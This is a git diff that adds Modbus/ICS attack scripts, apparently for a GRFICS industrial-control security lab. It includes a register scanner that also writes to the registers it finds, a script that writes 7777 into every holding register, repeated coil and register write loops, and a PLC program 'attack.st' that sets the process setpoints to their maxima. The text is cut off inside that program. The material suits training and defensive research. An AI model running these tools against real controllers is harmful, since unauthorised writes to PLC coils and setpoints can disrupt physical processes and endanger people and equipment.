+ data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(range(1,500)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") + client.close() + return valid_list,data_list,permission_list + + + +#Write the result to Excel File +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]+reg_value) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=True, help='Port Number') +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil") #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold") #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete") #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input") +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/write_all_holding_registers.py b/modbus/misc/write_all_holding_registers.py new file mode 100644 index 0000000..ae6fa15 --- /dev/null +++ b/modbus/misc/write_all_holding_registers.py @@ -0,0 +1,94 @@ +#!/usr/bin/env python + +""" +File: write_all_holding_registers.py +Desc: Write all holding registers on a TCP MODBUS Slave +Version: 0.0.1 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def scan(): + + parser = argparse.ArgumentParser(description = "Write all holding registries on a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the writer. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the writer. Defaults to 65535", type=int, metavar="END", default=65535) + parser.add_argument("-v", "--value", dest="value", help="Value that will be written. Defaults to 7777", type=int, metavar="VALUE", default=7777) + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target given\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = [] + addr = 1 + for addr in range(args.start_address, args.end_address): + hr = client.write_registers(addr, args.value, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 16: # if we succeeded writing stuff. code = 0x10 + results.append(addr) + # if it fails, hr.function = 144 (0x90), cf modbus doc + + client.close() + print 'Register writing is finished (%d addresses were tried)' % (args.end_address-args.start_address+1) + print 'Writing was successful on these %d addresses:' % len(results) + print results + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/monitor_muiltiple.py b/modbus/monitor_muiltiple.py new file mode 100644 index 0000000..5b8b46f --- /dev/null +++ b/modbus/monitor_muiltiple.py @@ -0,0 +1,192 @@ +#!/usr/bin/env python + +""" +File: monitor_multiple.py +Desc: Read all registers from a TCP MODBUS Slave +""" +__author__ = '0xRoM' + +from argparse import ArgumentParser, ArgumentTypeError, Action +from pyModbusTCP.client import ModbusClient +import time +import sys +import re + +class style(): + BLACK = '\033[30m' + RED = '\033[31m' + GREEN = '\033[32m' + YELLOW = '\033[33m' + BLUE = '\033[34m' + MAGENTA = '\033[35m' + CYAN = '\033[36m' + WHITE = '\033[37m' + BOLD = '\33[1m' + UNDERLINE = '\033[4m' + RESET = '\033[0m' + +class InflateRange(Action): + def __call__(self, parser, namespace, values, option_string=None): + #print('%r %r %r' % (namespace, values, option_string)) + lst = [] + for string in values: + #print 'in string:',string + if '-' in string: + m = re.match(r'(\d+)(?:-(\d+))?$', string) + # ^ (or use .split('-'). anyway you like.) + if not m: + raise ArgumentTypeError("'" + string + "' is not a range of number. Expected forms like '0-5' or '2'.") + start = m.group(1) + end = m.group(2) or start + lst.extend(list(range(int(start,10), int(end,10)+1))) + else: + lst.append(int(string)) + setattr(namespace, self.dest, lst) + +parser = ArgumentParser() +parser.add_argument('-co', '--coil', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-ho', '--hold', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-di', '--discrete', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-in', '--input', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-i','--ipaddress', action='store', type=str, required=True, help='Input IP Address') +parser.add_argument('-p','--port', action='store', type=int, required=False, help='Port Number', default=502) +parser.add_argument('-t','--timeout', action='store', type=float, required=False, help='request every X seconds', default=2) + +args = parser.parse_args() +print("### watch list ###") + +total = 0 +if args.coil: + print(style.BOLD+"coils: "+style.RESET+"("+str(len(args.coil))+")"+str(args.coil)) + total += len(args.coil) +if args.hold: + print(style.BOLD+"hold reg: "+style.RESET+"("+str(len(args.hold))+")"+str(args.hold)) + total += len(args.hold) +if args.discrete: + print(style.BOLD+"discrete: "+style.RESET+"("+str(len(args.discrete))+")"+str(args.discrete)) + total += len(args.discrete) +if args.input: + print(style.BOLD+"input reg: "+style.RESET+"("+str(len(args.input))+")"+str(args.input)) + total += len(args.input) +print(style.BOLD+"Total = "+str(total)+style.RESET) +print("------------------") + +co_orig={} +ho_orig={} +di_orig={} +in_orig={} +co_mod={} +ho_mod={} +di_mod={} +in_mod={} +co_prev={} +ho_prev={} +di_prev={} +in_prev={} +client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=args.timeout) + +if args.coil: + for i in args.coil: + co_orig[i]=client.read_coils(i,1) + co_mod[i] = style.RESET + co_prev[i] = co_orig[i] +if args.hold: + for i in args.hold: + ho_orig[i]=client.read_holding_registers(i,1) + if ho_orig[i] == None: + ho_orig[i] = " " + ho_mod[i] = style.RESET + ho_prev[i] = ho_orig[i] +if args.discrete: + for i in args.discrete: + di_orig[i]=client.read_discrete_inputs(i,1) + di_mod[i] = style.RESET + di_prev[i] = di_orig[i] +if args.input: + for i in args.input: + in_orig[i]=client.read_input_registers(i,1) + if in_orig[i] == None: + in_orig[i] = " " + in_mod[i] = style.RESET + in_prev[i] = in_orig[i] + +while True: + co_new={} + ho_new={} + di_new={} + in_new={} + if args.coil: + for i in args.coil: + co_new[i]=client.read_coils(i,1) + if co_new[i] == None: + co_new[i] = "0" + co_mod[i] = style.CYAN + else: + if co_new[i][0] == 1 and co_prev[i][0] == 0: + co_mod[i] = style.GREEN + if co_new[i][0] == 0 and co_prev[i][0] == 1: + co_mod[i] = style.RED + co_prev[i] = co_new[i] + + if args.hold: + for i in args.hold: + ho_new[i]=client.read_holding_registers(i,1) + if ho_new[i] == None: + ho_new[i] = " " + else: + if ho_new[i] > ho_prev[i]: + ho_mod[i] = style.GREEN + if ho_new[i] < ho_prev[i]: + ho_mod[i] = style.RED + ho_prev[i] = ho_new[i] + + if args.discrete: + for i in args.discrete: + di_new[i]=client.read_discrete_inputs(i,1) + if di_new[i] == None: + di_new[i] = "0" + di_mod[i] = style.CYAN + else: + if di_new[i][0] == 1 and di_prev[i][0] == 0: + di_mod[i] = style.GREEN + if di_new[i][0] == 0 and di_prev[i][0] == 1: + di_mod[i] = style.RED + di_prev[i] = di_new[i] + + if args.input: + for i in args.input: + in_new[i]=client.read_input_registers(i,1) + if in_new[i] == None: + in_new[i] = " " + else: + if in_new[i] > in_prev[i]: + in_mod[i] = style.GREEN + if in_new[i] < in_prev[i]: + in_mod[i] = style.RED + in_prev[i] = in_new[i] + + sys.stdout.flush() + output = '\r' + if args.coil: + output += '['+style.BOLD+'coils:'+style.RESET + for i in co_new: + output += style.RESET+'['+str(co_mod[i])+str(int(co_new[i][0]))+style.RESET+']' + output += ']' + if args.hold: + output += '['+style.BOLD+'hold regs:'+style.RESET + for i in ho_new: + output += style.RESET+'['+str(ho_mod[i])+str(ho_new[i][0]).rjust(5, ' ')+style.RESET+']' + output += ']' + if args.discrete: + output += '['+style.BOLD+'discrete:'+style.RESET + for i in di_new: + output += style.RESET+'['+str(di_mod[i])+str(int(di_new[i][0]))+style.RESET+']' + output += ']' + if args.input: + output += '['+style.BOLD+'input regs:'+style.RESET + for i in in_new: + output += style.RESET+'['+str(in_mod[i])+str(in_new[i][0]).rjust(5, ' ')+style.RESET+']' + output += ']' + + print output, + time.sleep(args.timeout) \ No newline at end of file diff --git a/modbus/set_coil.py b/modbus/set_coil.py new file mode 100644 index 0000000..02ab399 --- /dev/null +++ b/modbus/set_coil.py @@ -0,0 +1,41 @@ +#!/usr/bin/env python + +""" +File: set_coil.py +Desc: set a specific coil to a specific value +""" +__author__ = '0xRoM' +from argparse import ArgumentParser, ArgumentTypeError +from pyModbusTCP.client import ModbusClient +import time +import sys + +parser = ArgumentParser() +parser.add_argument('-i','--ipaddress', action='store', type=str, required=True, help='Input IP Address') +parser.add_argument('-p','--port', action='store', type=int, required=False, help='Port Number', default=502) +parser.add_argument('-c','--coil', action='store', type=int, required=True, help='Coil Number', default=0) +parser.add_argument('-tr','--true', action='store_true', required=False, help='True if set') +parser.add_argument('-l','--loop', action='store_true', required=False, help='loop on') +parser.add_argument('-t','--timeout', action='store', type=float, required=False, help='request every X seconds', default=2) +args = parser.parse_args() + +client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=10) +if args.true: + client.write_single_coil(args.coil,True) +else: + client.write_single_coil(args.coil,False) + +if args.loop: + i=1 + while True: + client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=10) + if args.true: + client.write_single_coil(args.coil,True) + else: + client.write_single_coil(args.coil,False) + client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 + time.sleep(args.timeout) + diff --git a/modbus/test_coil_true.py b/modbus/test_coil_true.py new file mode 100644 index 0000000..d2e8631 --- /dev/null +++ b/modbus/test_coil_true.py @@ -0,0 +1,15 @@ +#!/usr/bin/python +from pymodbus.client.sync import ModbusTcpClient +import time +import sys + +i=1 +t_end = time.time() + 60 * 1 # 60s X 1min +while time.time() < t_end: + client = ModbusTcpClient(sys.argv[1]) + client.write_coils(40, [True, True, True]*4) # Ref #, followed by coil settings in list form + client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 +print "Done" diff --git a/modbus/test_hold_int.py b/modbus/test_hold_int.py new file mode 100644 index 0000000..8be7d0d --- /dev/null +++ b/modbus/test_hold_int.py @@ -0,0 +1,21 @@ +#!/usr/bin/python +from pyModbusTCP.client import ModbusClient +import time +import sys + +i=1 +client=ModbusClient(host=sys.argv[1],port=502,auto_open=True,auto_close=True,timeout=10) + +while True: + #client = ModbusTcpClient(sys.argv[1]) + #client.write_single_register(0,65535) # ref #, followed by no to store + #client.write_single_register(1,65535) # ref #, followed by no to store + #client.write_single_register(2,0) # ref #, followed by no to store + client.write_single_register(3,0) # ref #, followed by no to store + #client.write_multiple_registers(0, [65535,65535,2,2]) + #client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 + time.sleep(0.2) +print "Done" diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack.st b/plc/GRFICS_Workstation_Docs/Documents/attack.st new file mode 100644 index 0000000..e39c5bd --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack.st @@ -0,0 +1,518 @@ +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 65535; + press_sp_c : UINT := 65535; + over_sp_c : UINT := 65535; + level_sp_c : UINT := 65535; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_signed + VAR_INPUT + input_uint : UINT; + END_VAR + VAR_OUTPUT + output_int : INT; + END_VAR + VAR + DIV3_OUT : UINT; + ABS8_OUT : UINT; + UINT_TO_INT9_OUT : INT; + END_VAR + + DIV3_OUT := DIV(input_uint, 2); + ABS8_OUT := ABS(DIV3_OUT); + UINT_TO_INT9_OUT := UINT_TO_INT(ABS8_OUT); + output_int := UINT_TO_INT9_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set AT %MW0 : UINT; + a_setpoint AT %MW1 : UINT; + pressure_sp AT %MW2 : UINT; + override_sp AT %MW3 : UINT; + level_sp AT %MW4 : UINT; + END_VAR + VAR + composition_control0 : composition_control; + scale_to_signed0 : scale_to_signed; + END_VAR + VAR + f1_valve_pos AT %IW0 : UINT; + f1_flow AT %IW1 : UINT; + f2_valve_pos AT %IW2 : UINT; + f2_flow AT %IW3 : UINT; + purge_valve_pos AT %IW4 : UINT; + purge_flow AT %IW5 : UINT; + product_valve_pos AT %IW6 : UINT; + product_flow AT %IW7 : UINT; + pressure AT %IW8 : UINT; + level AT %IW9 : UINT; + a_in_purge AT %IW10 : UINT; + b_in_purge AT %IW11 : UINT; + c_in_purge AT %IW12 : UINT; + f1_valve_sp AT %QW0 : UINT; + f2_valve_sp AT %QW1 : UINT; + purge_valve_sp AT %QW2 : UINT; + product_valve_sp AT %QW3 : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure AT %MW20 : INT; + hmi_level AT %MW21 : INT; + hmi_f1_valve_pos AT %MW22 : INT; + hmi_f1_flow AT %MW23 : INT; + hmi_f2_valve_pos AT %MW24 : INT; + hmi_f2_flow AT %MW25 : INT; + hmi_purge_valve_pos AT %MW26 : INT; + hmi_purge_flow AT %MW27 : INT; + hmi_product_valve_pos AT %MW28 : INT; + hmi_product_flow AT %MW29 : INT; + scan_count AT %MW30 : UINT; + END_VAR + VAR + scale_to_signed1 : scale_to_signed; + scale_to_signed2 : scale_to_signed; + scale_to_signed3 : scale_to_signed; + scale_to_signed4 : scale_to_signed; + scale_to_signed5 : scale_to_signed; + scale_to_signed6 : scale_to_signed; + scale_to_signed7 : scale_to_signed; + scale_to_signed8 : scale_to_signed; + scale_to_signed9 : scale_to_signed; + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR_EXTERNAL + run_bit : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + ADD87_OUT : UINT; + GE91_OUT : BOOL; + MOVE92_ENO : BOOL; + MOVE92_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + scale_to_signed0(input_uint := pressure); + hmi_pressure := scale_to_signed0.output_int; + scale_to_signed1(input_uint := level); + hmi_level := 